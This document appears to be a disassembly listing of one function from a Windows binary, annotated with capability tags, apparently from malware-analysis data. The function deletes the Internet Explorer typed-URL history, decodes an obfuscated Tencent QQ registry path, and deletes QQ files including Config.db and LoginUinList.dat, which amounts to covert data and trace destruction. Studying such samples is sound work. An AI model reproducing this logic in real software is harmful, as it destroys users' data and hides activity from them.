Function at 0x10036ee0
Capabilities:
Delete file
Delete registry key
Get common file path
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10098306
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xbc8
push ebx
push esi
mov esi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push edi
xor ebx, ebx
push ebx
push 0x21
lea eax, [esp + 0xc0]
push eax
push ebx
call esi
lea ecx, [esp + 0xb8]
push ebx
push ecx
call fcn.10036c00
add esp, 8
push ebx
push 0x22
lea edx, [esp + 0xc0]
push edx
push ebx
call esi
lea eax, [esp + 0xb8]
push ebx
push eax
call fcn.10036c00
add esp, 8
push str.SoftwareMicrosoftInternet_ExplorerTypedURLs
push reloc.WSOCK32.dll_accept
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
call fcn.10035cc0
push ebx
push 5
lea ecx, [esp + 0xc0]
push ecx
push ebx
call esi
lea edx, [esp + 0x50]
push edx
xor eax, eax
mov ecx, 0x19
lea edi, [esp + 0x54]
push str.XM7SvdPK1bW9tcTOxLz
rep stosd dword es:[edi], eax
call fcn.1003a410
lea eax, [esp + 0x58]
add esp, 8
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10036f92
lea edi, [esp + 0xb8]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x10036fa3
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [esp + 0xb8]
and ecx, 3
push ebx
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.10036c00
xor eax, eax
mov ecx, 0x19
lea edi, [esp + 0x58]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x58]
push ecx
push str.U29mdHdhcmVcVGVuY2VudFxRUQ
mov dword [esp + 0x20], 1
mov dword [esp + 0x2c], 0x400
call fcn.1003a410
add esp, 0x10
lea edx, [esp + 0xc]
push edx
push 1
push ebx
lea eax, [esp + 0x5c]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x1003725a
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x2cc]
push edx
lea eax, [esp + 0x18]
push eax
push ebx
push str.Install
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x2c8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10037050
sub eax, edx
cmp byte [esp + eax + 0x2c7], 0x5c
je 0x10037072
mov byte [esp + eax + 0x2c8], 0x5c
mov byte [esp + eax + 0x2c9], bl
mov ecx, 0x100
lea esi, [esp + 0x2c8]
lea edi, [esp + 0x7d0]
rep movsd dword es:[edi], dword [esi]
lea edi, [esp + 0x2c8]
dec edi
nop
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10037090
mov eax, dword [0x1009ff44]
lea ecx, [esp + 0x20]
mov dword [edi], eax
call fcn.10075088
push ebx
lea ecx, [esp + 0x2cc]
push ecx
lea ecx, [esp + 0x28]
mov dword [esp + 0xbe4], ebx
call fcn.1007511b
cmp eax, ebx
je 0x100371f5
lea esp, [esp]
lea ecx, [esp + 0x20]
call fcn.10074e69
lea ecx, [esp + 0x20]
mov edi, eax
call fcn.1007504f
test eax, eax
jne 0x100371ed
mov edx, dword [esp + 0x20]
push 0x10
lea ecx, [esp + 0x24]
call dword [edx + 0x38]
test eax, eax
je 0x100371ed
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x24]
call fcn.10075343
mov ecx, dword [eax]
push ecx
lea edx, [esp + 0x7d4]
push edx
lea eax, [esp + 0x6d0]
push 0x1009cd14
push eax
call fcn.10077098
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
add esp, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x1003714d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x24]
call fcn.10075343
mov ecx, dword [eax]
push ecx
lea edx, [esp + 0x7d4]
push edx
lea eax, [esp + 0x1c8]
push str._s_sConfig.db
push eax
call fcn.10077098
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
add esp, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x10037199
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea ecx, [esp + 0x38]
call fcn.10075088
push ebx
lea eax, [esp + 0x1c4]
push eax
lea ecx, [esp + 0x40]
mov byte [esp + 0xbe4], 1
call fcn.1007511b
lea ecx, [esp + 0x38]
mov esi, eax
call fcn.10074d99
cmp esi, ebx
je 0x100371dd
lea ecx, [esp + 0x6c8]
push 1
push ecx
call fcn.10036c00
add esp, 8
lea ecx, [esp + 0x38]
mov byte [esp + 0xbdc], bl
call fcn.100750ac
cmp edi, ebx
jne 0x100370d0
lea ecx, [esp + 0x20]
call fcn.10074d99
lea edi, [esp + 0x7d0]
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x10037206
mov edx, dword [str.LoginUinList.dat]
invalid